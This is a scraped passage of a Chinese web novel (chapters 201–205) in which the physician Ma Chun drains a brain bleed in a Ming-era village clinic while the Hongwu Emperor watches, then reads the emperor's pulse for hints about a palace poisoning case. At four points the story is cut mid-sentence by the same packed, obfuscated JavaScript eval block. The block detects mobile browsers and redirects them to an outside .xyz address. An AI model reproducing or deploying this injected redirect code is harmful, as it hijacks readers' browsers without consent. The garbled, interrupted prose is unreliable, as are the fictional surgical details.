一应用具都仔细消毒过后,他才开始准备做手术……
第201章做开颅手术!读书人直呼妖术!!
医馆后院临时充作手术室的房间,门窗紧闭,只有几条缝隙供所有人观看到里面的情形。
浓烈的烧酒气味刺鼻。
空气中只有烈酒挥发的气息,以及压抑的呼吸声。
马淳换上徐妙云递来的干净白麻外褂。
徒弟小六双手微颤,火光映照着精钢打制的特薄刀片、细如牛毛的缝针丝线。
“灯再近些。”马淳声音沉静。
徐妙云将手术灯推近一些。
他在那被清理干净、覆上消毒湿布的男孩额头瘀肿处仔细摸按。,指尖感受着颅骨的弧度和硬度。
“位置和B超一致。”他确认。“小六,递骨钻。”
一根尾部带细纹转柄、前端是锋利螺旋尖针的精致金属器具递来。
马淳一手稳固定住男孩头部,另一手握住骨钻,旋转柄顶在事先用烧酒涂画出的标记点上。
他深吸一口气。
室外,围观村民早已挤满院墙。
惊惧的低语如同潮水起伏。
“听见没?要切开娃儿的头骨咧!”
“脑袋开了瓢,人还能活?吓**嘞!”
“马神医说里头有血堵着,不放出来就没命……”
“可开天灵盖……这是凡人能做的事?”
“嘘!”有人压低嗓门,“小声点!别惊扰了马神医做法!”
焦灼的目光,穿过窗棂缝隙,只窥见里面人影晃动,模糊不清。
每一次轻微的金属碰撞声,都让外面人群的心跟着猛地一跳。
马蹄声就是此刻由远及近的。
人群下意识回头,只见村口小路上数骑疾驰而来。
当先一人身着暗红团龙便服,胡须微翘,面沉如水。
“是……是上回那个贵人老爷!”有人眼尖认出朱元璋。
“后面的是……”
“那个大胡子护卫官!”
“还有那个山羊胡师爷!”人群像被劈开的海浪,唰地让开道路。
朱元璋勒住马,翻身落地,动作带着军人特有的利落。
蒋瓛、刘三吾紧随其后。
“何事喧哗?”朱元璋扫了一眼挤得水泄不通的医馆外院。
“老…老爷……”一个胆大的村民抖着声音回答,“马神医…他…他在给李二狗家的虎娃开…开…开脑壳子咧!”
“开脑壳?”朱元璋浓眉一拧。
“岂有此理!”刘三吾闻言几乎跳脚,“头颅乃六阳之首,岂可轻启?这是剖心挖腹的邪术!”
他转向朱元璋,“老爷,这马淳行事越发诡异,竟行此等骇人听闻之举!快阻止他啊!”
蒋瓛却冷声道:“刘学士恐怕不知道这一年来国公爷治好了多少病人吧?”
刘三吾一时语塞,不过还是梗着脖子道:“寻常病症能与开脑壳相提并论?”
朱元璋没有理会两人的争执。
他大步走到院门前,透过未关严的门缝,恰好能看到里间的光景。
马淳背对门口,低着头,动作精准而专注。
他身前躺着的孩子,小脑袋被固定着。
一缕极细的青烟正从孩子的头顶位置袅袅飘起。
隐约还有一丝轻微的焦煳味,那是高温灼骨的味道。
“他用火烫穿了骨头?”朱元璋眼神锐利。
蒋瓛凑近细看,心头也是一跳。
刘三吾气得胡子发抖:“荒谬!荒唐!”
室内。
小六瞪大眼睛,看着马淳用那枚特制的骨钻,螺旋针尖在微小的力下缓缓旋进。
接触到坚硬骨面时,发出细微的“咯吱”声。
马淳屏住呼吸,手腕极稳地施加恰到好处的压力。
钻头旋转深入,一缕青烟带着骨头灼烧特有的气味散出,那是摩擦产生的微热。
“深度到了。”马淳低语。
他小心翼翼抽出钻头。
一个细小的骨孔出现在男孩的头皮和颅骨上。
暗红粘稠的血液,如同解开了束缚的压力,立刻从那个小孔里汩汩冒了出来!
“引流管!”马淳语速极快。
徐妙云忍着晕眩,迅速递上一截软而中空的透明细管。
马淳利落将管子的一端导入骨孔,黑红色的血顺着管子快速淌入下方的接引钵盂。
噗嗤……噗嗤……
积血被引出的声音清晰可闻。
“血真……真引出来了!”小六的声音发颤,是震惊也是激动。
徐妙云脸色苍白,扶着桌案,腹中一阵翻涌。
她努力站稳。
马淳紧盯着流速,“颅内压很高。小心看着,血势会减缓。”
果然,涌出的血从最初的压力喷射,逐渐转为稳定的涓涓细流,颜色也从黑红变得鲜红,钵盂里粘稠的血块也逐渐增多。
“血肿在排出……”马淳稍稍松了口气。
他紧盯着孩子苍白的小脸,又观察着瞳孔,孩子依旧昏迷,但原本微弱急促的呼吸,似乎稍稍平缓了一丝。
室外。
朱元璋看得清清楚楚。
那黑红色的血是如何顺着管子涌出,那昏迷孩子的呼吸是如何细微变化。
他默然不语,蒋瓛也看呆了。
他征战半生,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004236|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见过开膛破肚,却从未见过如此精准地在头颅上开个小洞引血。
这手段,堪称神乎其技。
只有刘三吾,脸色铁青,嘴唇哆嗦,反复念叨着:“邪术……妖法……伤天害理……”
村民们更是大气不敢出。
亲眼看到血从娃儿脑袋里引出,这冲击比方才的恐惧议论更直接。
“血……马神医真把坏血放出来了……”
“老天爷……”
“娃儿是不是能救了?”
良久。
流出的鲜血颜色变得正常,量也极少。
马淳轻轻拔出引流管,他迅速用消毒布按压止血。
片刻后松开,伤口很小,但血已基本止住。
“颅内压暂时缓解了。”马淳看向徐妙云和小六。“小六,缝合头皮,最细的线,两针就够。”
“是,师傅!”小六声音带着前所未有的敬服。
马淳这才看向门口缝隙投来的几道目光,隔着门缝,与朱元璋深邃的视线对上。
门,最终被轻轻推开。
马淳走了出来,额发微湿,带着疲惫。
朱元璋站在院中,众人目光齐刷刷聚焦。
“那孩子……”朱元璋开口。
“颅内积血引出了。”马淳用沾着酒渍的手抹了把脸,“命暂时保住了。”
“老天开眼!”人群爆发出压抑的欢呼。
孩子父母早已哭成了泪人,扑通跪倒就要磕头。
“别!”马淳赶紧拦住,“还没脱离危险。”
“还没?”朱元璋眉头又皱起。
“外伤易治,感染难防。”马淳直言不讳,指着自己简陋的“手术室”。
“此地并非净地,空气中尘埃病菌无数。这孩子头颅开了小孔,一旦被病邪侵入,脑颅发炎、高热不退,便前功尽弃。”他目光扫过朱元璋、蒋瓛、刘三吾。
最后落在面无人色的孩子父母身上。“接下来几日,是关键。需静养,需服药,需日日清洁换药,半分不能大意!”
马淳从袖中拿出一个小瓷瓶。
倒出数粒用蜜蜡封裹的白色小丸。
“这是……”蒋瓛对马淳拿出的药丸总是印象深刻。“抗生素。”
马淳递给男孩母亲,“一日三次,一次一粒,温开水送服。它能杀灭病邪,防止体内感染。”
他又仔细交代了伤口护理细节和发热处理办法。
朱元璋默默地看着,看着马淳如何冷静处理伤口,看着那绝望的父母因一丝希望而颤抖,看着他拿出那神奇“抗生丹”,只感觉好生震惊……
第202章朱元璋再次被震惊得外焦里嫩!
夜已深,小青村的虫鸣渐歇。
医馆后堂临时充作病房的小间内,李虎苍白的面容,浅浅的呼吸微弱却规律。
他的父母紧守在榻前,眼睛熬得通红,一步不敢离开。
马淳替孩子掖了掖被角,又检查了额角那细小的、已经缝合的伤口。
确认没有异常渗血,呼吸平稳,他才直起身,脸上带着一丝疲惫的松弛。
前厅早已清静下来。
朱元璋端坐在条凳上,身形笔直如松。
蒋瓛如同一尊沉默的铁塔,侍立在他身后阴影里。
刘三吾紧挨着朱元璋坐着,抚着胡须的手还在微微发颤,显然方才的“开颅”景象给他冲击太大。
孩子性命暂且保住,小六也被打发了出去。
医馆内只剩下皇帝、国公、学士。
徐妙云安静地坐在稍远处的矮凳上。
终于,朱元璋的目光落在了马淳身上。
眼里翻腾着巨大的、未经掩饰的惊疑。
他在沙场上见惯了开膛破肚的残肢断臂。
但给人脑袋钻个洞,尤其还是个孩子的脑袋钻洞放血,且那人随后竟似乎无碍……
这景象,依然强烈地挑战着他乃至整个时代对“人身”根深蒂固的认知。
“马淳。”朱元璋终于发问,“咱今个儿……开了眼界了。”
他顿住了,“脑窍之地,素来六阳所会,神明所居!开孔钻穴,泄气血,损元阳!凡人触之即死!可你……为何虎子那娃儿颅骨开孔,引血污出……人非但未死,反有回缓之象?此等活命之术……究竟是何道理?”
刘三吾闻言,也抬起头,眼神惊惧未消地附和道,“是啊,徐国公!此举实在骇人听闻!老朽遍览古籍,从未闻有活人敢破开天灵盖的!纵有记载,皆是荒诞不经的鬼狐妖术!”
他的手又抖了起来。“人之魂魄精气,莫非不因此泄了?这与杀生取命何异?还请国公务必解老朽心中惶惑!”
蒋瓛虽未开口,但他紧绷的侧脸和专注的神情,同样暴露了他内心极度的震撼。
他也想听听,这超越了想象的神奇手段,背后究竟藏着怎样惊世的道理。
所有人的目光,都聚焦在马淳身上。
面对皇帝的诘问、学士的惊惧,马淳的神情却很平静。
这并非他首次面对此种质疑。
他缓缓吸了一口气,“陛下,此术……并非微臣独创。千余年前,便有人尝试过。”
此言一出,朱元璋的眉峰瞬间挑起。
刘三吾更是瞪大了眼睛,“千年前?何人?”
“后汉神医,华佗。”马淳吐出这个让医者尊崇万分的名字。
华佗之名,即便是朱元璋这般马上皇帝也如雷贯耳。
“《后汉书》有载,”马淳继续道,“华佗晓养生之术,年且百岁而犹有壮容。时人以为仙。其精于方药,更擅外科。”
“彼时,曹操患头风,痛不可忍。华佗针其鬲,随手而瘥。然病根深藏脑内。”
“华佗直言:此病根深,针药所不能及,当以利斧劈开头颅。”
“可惜啊……”一声长叹,带着无尽的惋惜。“曹操何许人也?多疑之主。闻‘劈开头颅’,岂能容他?”
朱元璋当然知道曹操是谁。
一个和他一样,靠雷霆手段打下基业的枭雄!
马淳接着道:“华佗被囚,其书卷亦随之焚毁失传。开颅活人之术,就此成绝响……湮灭于史河浪涛之中!”
“依微臣所学推断,曹操这‘头风’之疾……怕也是脑中积有血块,或是增生肿物!长期压迫之下,剧痛如裂,药石罔效。”
“若华佗当年真能动手,剖开那层骨,取出那作祟之物。何愁顽疾不去?何愁性命不长?可惜啊……”
他再次摇头,惋惜之情溢于言表,“千载医道,就此蒙尘!一个可能的活命契机,被无端的猜疑扼杀于摇篮!”
这番解释,让朱元璋眉头深锁。
他对华佗之事只知皮**。
此刻听闻开颅之术竟有前人依据,且与曹操这等枭雄的隐疾相关联,心中震动无以复加。
“你是说……”他沉吟着,“曹阿瞒那厮的头痛病,也和今日这虎娃一般?”
“微臣不敢断言必然相同。”马淳谨慎回答,“但原理相近。皆是颅内之物作祟。或有血
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008988|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
块积压,或有肿物滋生。”
“若压迫要害神经经络,轻则剧痛麻木,重则失语瘫痪,乃至丧命!”
他看向朱元璋,眼神坦荡,“陛下试想。曹操何等英雄人物?晚年病痛缠身,疑心日重。若脑中确有异物压迫,日夜折磨其心神……”
他点到即止,没有再说下去。
但一个被脑部顽疾折磨得疑神疑鬼、性情大变的枭雄形象,已然在朱元璋心中隐隐浮现。
朱元璋沉默片刻。
他自问,若易地而处,身患剧痛且闻此骇人之法……
“哼!”他突然冷哼一声,“疑心生暗鬼!这曹阿瞒……”
不知是批判曹操的多疑,还是感慨这历史的吊诡。
但他眼中的锐利,已经悄然缓和了不少。
然而,刘三吾的困惑并未完全解开。
他固执于心中的“天道”,眉头拧成一团。
“国公!此说虽有理。然则……《黄帝内经》明训,‘脑为髓海’,人之元神所在。破其骨,泄其气,岂能无恙?祖宗传下的道理,总不能是假的?”
他紧盯着马淳,期待一个能说服他的答案。
“气?”马淳微微摇头,“刘学士**通今。然医理一道,亦如世事,需与时俱进。”
他没有直接反驳《黄帝内经》,而是巧妙绕过。
“何为‘髓海’?此乃髓液所蓄之处。那‘气’之一说,太过虚无缥缈。”
他伸出双手,比划着,“骨为屏障,髓藏其内。颅骨如同坚壁。颅内血块如同淤堵污秽。”
他的比喻简单而形象。
“我今日所做,如同在坚壁上开一小孔,引走污浊之血。清流复通,自然醒转。”
他看向朱元璋,“陛下戎马一生,当知清淤通塞之理。一池淤泥堵其口,池塘必死!若开一渠导之,虽损池壁少许,却可换来一池活水,生机盎然!骨壁穿小孔,放淤血,疏滞塞……道理相通!”
“只要位置精准,避开真正要害的神经枢纽。操作干净利落,止血迅速,防止病邪趁机侵入。”
“开颅放血,本身绝非夺命之举!实乃活命之法!”
……
第203章陛下,要不您的脑袋也给我开一下
他顿了顿,目光再次扫过刘三吾。“至于那所谓的‘元气’、‘阳气’,它们并非存于那方寸之间的骨头中。亦非开一孔便会倾泻而去不可阻挡!”
“天地尚且有损,日月尚有盈亏,生灭本是循环。一小孔,于浩荡生命洪流而言,不过涓滴细流。何谈动摇根本?”
“草木破土,枝干见风霜雨打,何曾见其本元枯竭?虫蚁身残,仍奔走不息。人之生机,磅礴浩瀚,岂是一个小小骨孔所能卸尽?”
他最后看向病榻方向,“血块作祟,才是真正夺命之元凶!放出血污,疏通气机。此正是祛邪扶正之法!”
“颅骨之孔,非是致命创伤。只要后续悉心照料,防止邪风毒气趁虚而入,引动内热高烧——那才是夺命的厉鬼!”
“孩子能否真正活转过来,关键在于未来几日。如无高热、无抽搐、无昏沉加深,平稳度过……”
“那么,他不但能活下来!他的脑子,也能完好无损!甚至比之前,因去了压迫,更能清明灵动!此……方为医道真义!活人之本!”
马淳的话语清晰、连贯、层次分明。
层层递进,将“开颅”这件在当时近乎妖异之事,剖析得如同庖丁解牛。
从追溯华佗遗恨以正其名,到借曹操头风类比以明其理。
再用通渠导淤这等朴素易懂的农事经验进行比照。
最终落脚于血块为祸、引流祛邪的核心理念。
字字入情入理,更巧妙地用草木、虫蚁的生命力对比,化解了那虚无缥缈的“元气”忧虑。
最后以未来护理的关键作为展望收束。
一番长论,医馆内陷入长久的静默。
炉火偶尔发出噼啪轻响,衬得这方寸之地愈发幽深。
朱元璋的目光,从最初的震撼惊疑,慢慢沉淀。
他在消化,在权衡。
一个全新的、颠覆性的认知,正强有力地冲击着他固有的天地。
“开颅非引魂……祛邪即活命……”他低声喃喃,似在咀嚼马淳话语中的精髓。
半晌,他缓缓抬首。
“依你所言……”朱元璋的声音带着一丝试探,“此等活命之术。真能……避其要害?不伤那脑中……‘神经枢纽’?”
马淳心知,最关键的时刻来了。
能否彻底打消这位雄主的疑虑,全看此刻。
他坦然迎上朱元璋审视的目光。
“陛下请看。”他侧身指向那银白色的“宝镜”——便携式B超。
“此物,乃窥探脏腑筋骨的奇术结晶。”
“正是借此宝镜,臣方能洞察虎娃颅内淤血积聚之所,避开要害神经密布的区域。”
“臣钻孔之处,选在额角靠近头骨连接间隙稍宽之地,远离脑干要津。”
“引导之针,细如发丝,入孔三分七厘,方向严格遵循宝镜所示。”
“如此操作,血块排出,颅内解压。真正关键的控制呼吸、心跳、意识的中枢,秋毫无犯。”马淳语气带着前所未有的郑重。“故而,能无虞!”
静。
刘三吾老学士,此刻竟微微张着嘴,无言以对。
马淳所描绘的这一切,所依仗的那面能“洞察脑内”的奇镜,所做的那“三分七厘”的精微控制……
这些,已经完全超出了他对“医术”的想象范畴。
甚至超出了他对整个“人智”的认知边界!
那不是医术。
那近乎是传说中仙神方能掌握的……
仙术!
妖术?
天道?
他的脑子里乱成一团。
那些圣贤书中关于精气元神的论述。
此刻显得如此苍白无力。
最终,所有混乱的思绪只化作喉间一声无意识的、饱含了极致震撼与困惑的叹息:“呼……”
他长长呼出一口浊气。
目光扫过那银白色的宝镜,再看向马淳。
最后,落在朱元璋身上。
千言万语,只剩下一句带着茫然却又莫名叹服的喃喃:“窥脑中之秘……导污血而活人。陛下……这……非医也。是……道啊……”
“道?”朱元璋,眼中精光暴闪。
他没有反驳刘三吾的感叹,目光重新锁定马淳。
眼中有巨大的惊疑,有崭新的认知,更有一种见猎心喜的、对于掌控未知力量的……
本能渴望!
他慢慢站起身,他没有再看那病榻上的孩童,也没有再看那神秘的宝镜,他只是深深地看着马淳。
仿佛要将他从里到外看个通透。
他一字一顿,如同金玉掷地,“马淳……你这‘活命之术’好!好!得!很!”
朱元璋的肯定字字千钧,这份赞誉,足以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008989|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在大明医道掀起滔天巨浪!
马淳躬身一礼:“谢陛下!”
但他抬起头,脸上露出一丝轻松的笑意,话锋忽然一转,“其实,陛下……”
“哦?”朱元璋挑眉。
“今日这手术,”马淳笑着比划了一下额角,“于微臣而言,实属寻常,可算小手术。”
“说句不中听的……”
他目光坦然地望向朱元璋那威严刚毅的面容。
“纵使真有那么一天……”马淳微笑,语气带着半分玩笑,半分自信。“……微臣若需为陛下您开颅。这只手,也断不会抖上半点。”
他抬起自己的手,手指修长稳定。
“因为,此事……真挺简单。”
寂静!
绝对的死寂!
仿佛狂风巨浪前的凝滞。
朱元璋脸上那种刚刚沉淀下来的、带着欣赏和探究的神情。
瞬间凝固!
然后……
瞳孔急剧收缩!
倒吸一口冷气的声音清晰可闻!
“嘶——”
他下意识地后退了半步!
堂堂大明开国雄主,尸山血海走出的洪武大帝,脸上第一次出现了混合着惊骇、难以置信和一丝……荒谬的滑稽表情。
给……给老子开脑壳?
老子?!
这比喻……
太直白!
太惊悚!
简直骇人听闻!!!
一股滚烫的热血猛地冲上朱元璋的天灵盖,烧得他耳根子都红了。
不是怒。
是被这猝不及防的惊世骇俗之言给狠狠噎着了!
短暂的空白之后,巨大的荒谬感和随之而来的滔天羞恼,如同火山般在他胸膛猛烈炸开!
“放屁!滚**蛋!!!”
一声暴喝,如同平地惊雷,震得整个医馆后堂嗡嗡作响!
声音里的中气之足,羞恼之甚。
“老子!老子一辈子!八辈子!下辈子!下下辈子!骨头化成灰都**不许!你小子少跟老子动这歪心思!!!”
朱元璋几乎是吼出来的。
脸红脖子粗。
手指点着马淳,气得胡须都在抖,“敢把主意打到咱的脑壳上?反了你了!信不信咱现在就叫人把你这‘简单’的狗爪子剁了喂狗?!!”
这突如其来的咆哮和炸毛,瞬间被打破医馆内死寂的气氛……
第204章老朱过来原来是摊牌的!
紧接着,是无法抑制的……
噗!
徐妙云一直强忍着身体的紧绷和不舒服,此刻丈夫那句胆大包天的玩笑,像戳中了她某个奇异的笑点。
再看到九五之尊那羞恼万状、暴跳如雷、全然失了威严的孩童般反应……
一股强烈的笑意猛地冲破了她紧抿的嘴唇!
她连忙低头捂嘴,肩膀剧烈地耸动起来。
憋笑憋得浑身发抖。
“噗嗤……”
角落里,阴影中,蒋瓛一直如同雕塑般挺立着,维持着锦衣卫指挥使的冰冷威仪。
可这一刻。
一丝怪异的表情像水面浮痕,划过他那**冰山似的脸。
嘴角像是抽搐了一下,又迅速绷紧。
更夸张的是刘三吾老学士。
他本就被之前的“开颅”震惊得魂不附体。
尚未从“通天之道”的恍惚中回神。
骤闻马淳这无法无天的“给陛下开颅论”,再目睹洪武帝那惊天动地、毫无皇帝仪态的咆哮……
双重叠加的冲击!
“咣当”一声轻响。
他双腿一软,竟是被惊得直接从坐着的条凳上滑溜了下来!
结结实实一屁股墩坐在了冰冷的地砖上。
老腰都差点散了架!
他仰着脸,花白胡子在空中乱颤,望着暴跳如雷的皇帝和面带笑意的马淳。
整个人都傻了!
眼珠子瞪得溜圆,嘴巴张得能塞进一个鸭蛋。
脸上写满了“我是谁?”“我在哪?”“这世界怎么了?”的终极哲学茫然。
朱元璋发泄完胸中那口被堵住的气。
吼声在堂内回荡。
看着眼前憋笑的徐妙云、表情怪异的蒋瓛、坐在地上完全懵了的刘三吾……
再看看面前那个依旧带着几分无辜笑意的小舅子马淳。
那紧绷的羞恼如同被戳破的气球。
噗。
散了。
只剩下一丝气急败坏后的微囧和后知后觉的……好笑。
他马淳。
他真敢说。
可这混账小子,凭本事救人无数,更是自家妹子唯一的亲弟弟。
这满口胡柴的气人劲儿……
朱元璋胸膛起伏着,重重喘了两口气,猛地一摆手。
像是要把那荒谬感挥走。
“滚!都给咱消停点!”
他没好气地又骂了一句,语气却已经没了之前的怒焰。
但脸上兀自残留着一抹羞恼的红晕,硬邦邦地转身,似乎想拂袖而去掩饰那份不自在。
只是刚迈出一步,又顿住。
目光忍不住再次瞟向躺在病榻上、呼吸平稳了许多的李虎。
心头的震动终究压过了那啼笑皆非的玩笑。
这开颅引血,真的成了。
就发生在自己眼皮底下。
一个险些丧命的孩子,硬是被从鬼门关拽了回来。
马淳这小子……
他目光复杂地重新看向马淳。
那份佯装的怒意彻底褪去。
最终,化作一声带着无尽深意和难以言说情绪的叹喟:
“唉……你啊……”
他指了指马淳,摇了摇头,不再多言。
这一刻,医馆之内,肃杀尽褪,只余一种劫后余生的松弛。
还有一种……被这离奇活命之术和那胆大包天玩笑搅乱后,无法言喻的……
欢快。
或者说,哭笑不得的轻松。
“行了行了,”朱元璋的声音带着些许余愠,“闹腾够了就消停!”
他背着手,踱了两步,那挺直的腰板,刻意板着的脸,无不表明他要把“皇帝”的架子重新端回来。
“马淳。”朱元璋笑道:“咱这脑袋金贵着,用不着你小子操那份闲心。”
“不过……”朱元璋话锋一转,走到诊桌旁的木凳坐下,“今日既然来了,你既是医者,咱也正好有处……不太舒坦。”
他边说,边将手肘支在了诊桌上。
刘三吾终于在小吏的搀扶下哆哆嗦嗦爬了起来,一边揉着摔疼的腰臀,一边紧张地望着这一幕。
蒋瓛身形微动,站在朱元璋侧后方刚才的荒诞剧结束,现在轮到他医生的职责。
马淳面上依旧平静,他走向水盆,净手。
他擦干手,走到朱元璋面前坐下。
两根手指,稳稳搭在了朱元璋的寸关尺上。
诊室瞬间静极。
朱元璋闭着眼,头微微后仰靠在椅背上,仿佛在假寐。
但马淳能感觉到,那腕下脉搏的节奏。
沉稳。
有力。
带着一种长期居于人上、掌握生杀带来的独特律动。
只是……
在那沉稳的基底里,藏着一丝不易察觉的弦音。
快。
快得如同战鼓间歇急促的捶打,带着一股刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008990|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
硬的劲道。
指腹下的触感也有些硬朗,绷着。
马淳的眉梢,蹙了一下。
刘三吾屏着呼吸,额角渗出细汗。蒋瓛纹丝不动,如泥塑石雕。
过了足有一盏茶功夫。
马淳又换了一只手,三根手指再次落下。
这一次,他停留得更久。
脉象如旧,那股绷紧的弦音更加清晰,硬邦邦地抵着他的指腹。
马淳缓缓抬眼。
朱元璋不知何时也已睁开了眼睛,正对上了他的视线。
“如何?”朱元璋问。
马淳没有立刻答话。
他收回手,目光在朱元璋脸上逡巡了片刻。
那张饱经风霜、沟壑纵横的脸上,威严底下,是一层掩饰不住的倦意。
眼下的青黑更深了,像染了墨。
“陛下,”马淳终于开口,“脉象沉实有力,足见龙体根基深厚,气血依旧如日中天。”
朱元璋嘴角似乎向上牵了牵,等着下文。
“只是……”马淳顿了一下,“弦象亦显,弦硬,搏击感尤为明晰。”
他迎上朱元璋审视的目光,一字一句:“此乃肝气郁结之象,郁而化火,脉道紧绷不舒。”
“何故?”他淡淡问。
“肝主疏泄,调畅情志。”马淳解释道,“怒伤肝,肝失条达,气机郁滞,则脉道硬急如琴弦。肝火郁而不发,循经上扰,亦可致头晕胀痛、目赤面红,或是胁肋闷胀不适。”
他顿了顿,补充道:“脉弦硬过甚,主病势急迫,常由……大事烦扰,积郁难解。”
朱元璋沉默着。
半晌,他才缓缓开口:“你上次诊脉,也说过类似的话。嘱咐咱少操劳,少动肝火,把这担子分出去些。”
他抬眼,目光如电,射向马淳:“咱照做了。把标儿带在身边,大事小事,有意让他多担待。”
“你也看到了,他担得不错。”
朱元璋语气平平,像是在陈述一个事实。
“可为什么……”他微微前倾了身体,“咱这胸口,这心头,这……脉象?”
朱元璋轻轻拍了拍自己的心口位置,眼神洞若观火。
“这压着的郁气,这股子肝火……怎么似乎比上次,更沉了些?”
刘三吾倒吸一口凉气,后背瞬间又凉了半截。
来了!
这才是陛下今日真正的来意……
第205章走投无路的绝望令人窒息
什么胸闷?
分明是话里有话!
蒋瓛垂在身侧的手指,瞬间收紧。
徐妙云的心也提了起来,担忧地看着丈夫。
马淳看着朱元璋。
此刻没有一丝玩笑,没有一丝羞恼,只有最纯粹的审视和探究。
甚至……带着一丝了然于胸的深意。
马淳在那双眼睛里,读懂了未尽之言。
是啊。
自己让蒋瓛去查太子妃吕氏旧案,查那温玉散的毒源,查海上走私的巨网……
这等事情,蒋瓛亲力亲为,隐秘行事,可其蛛丝马迹,岂能绕过锦衣卫最高统领者的耳目?
蒋瓛是皇帝的刀。
刀指向哪里,终究要握刀的人默许!
马淳让蒋瓛先去查,而不是立刻上报,就是一种小心翼翼的试探,一种留给皇帝缓冲台阶的默契。
他此前私下对徐妙云的分析,此刻清晰地浮上心头。
“总要留一步台阶的……”
是啊,台阶是留给皇帝的体面,是留给皇太子父子之间可能的缓冲。
而皇帝今日借着“胸闷”,借着这“弦硬过甚、郁结加重”的脉象,亲临这小小的村医馆,便是反过来踩上了这个台阶。
他是在点破——你的动作,朕都看着呢。
他也是在问询——查到现在,查到朕心头郁结更甚,你又看出了什么?知道了什么?
脉象是骗不了人的“证据”。
一个皇帝,若无泼天的、需要耗费巨大心神去思虑谋划的大事,何至于让这铁打的身躯都显露出“弦硬过甚”的急迫?
除了那牵连太子妃、威胁皇嗣、深扎宫闱与海上毒网的惊天巨案,还有什么?!
马淳深吸了一口气。
他没有退缩,迎着朱元璋的目光,平静地回答:“陛下深谋远虑,心系社稷。分太子理事,是善谋。然……此沉郁之气,非关事少。”
“此弦急之象,也非肝血可疏。”
他微微前倾,目光如同穿透一切障碍:
“实乃圣心深处,尚有重轭压魂。”
“千钧之事,暗涌波谲。”
“须得洞烛幽微,廓清寰宇……”
“方能……涤荡此郁!”
“涤荡此郁……”朱元璋将这四个字在齿间缓缓咀嚼了一遍。
“嗯。”朱元璋嗯了一声,听不出是赞许还是别的什么。
他不再看马淳,缓缓站起身。
刘三吾下意识地松了一口气,这才发觉自己早已汗湿重衣。
“咱知道了。”朱元璋的声音恢复了沉稳。
就在要跨出医馆后堂门槛的一刹那,朱元璋的脚步微不可查地顿了一下。
他没有回头,只有一句轻飘飘的话,清晰地落在马淳的耳中:“蒋瓛……给咱麻利点。”
话音落,人已消失在门外。
医馆的后堂,只剩下马淳、徐妙云,和兀自惊魂未定的刘三吾。
马淳站在原地,思索着。
皇帝那句“麻利点”,是鞭策,是最后通牒。
更是……放开了缰绳的信号。
……
雨点敲打在医馆的瓦檐上,暮色四合,天像是被人猛地盖下了浓黑的幕布,只留下门前一盏孤零零的纸灯笼在风雨里飘摇挣扎。
沉重的脚步声穿过雨帘,停在医馆门口。
门框处,赫然现出两个人影。
男人的脊梁佝偻得像是随时会折断的朽木,雨水浸透了他褴褛的衣衫,湿重的布料紧贴在他嶙峋的背脊上,勾勒出每一根骨头的形状。
他背上牢牢缚着一个更为单薄瘦小的身躯,孩子蜷缩着,细弱的四肢软软垂落,仿佛没了骨头的支撑。
妇人紧挨着男人,身形也摇摇欲坠。
她半身几乎都湿透,头发一绺绺狼狈地粘在额角和脸上,那双眼睛红肿如桃核,眼里的光像燃尽的灰烬,空洞地随着灯笼的光影晃动。
男人像是耗尽了全身力气才从牙缝里挤出不成调的声音,喉咙如生锈的齿轮在强行转动:“马……马神医……求您……湖广……衡州府来的……看看我家孩儿……”
马淳心头骤然一沉。
无需多问,眼前这三人风尘仆仆、满面尘灰的枯槁模样,都在无声诉说着一段极其艰难的漫长跋涉。
“快!”马淳喊了一声,“小六,搭手!抬到里面席上!妙云,熬参汤来!”
医馆内草席铺开。
男人颤抖着手,解下背上层层缠绕的布带。
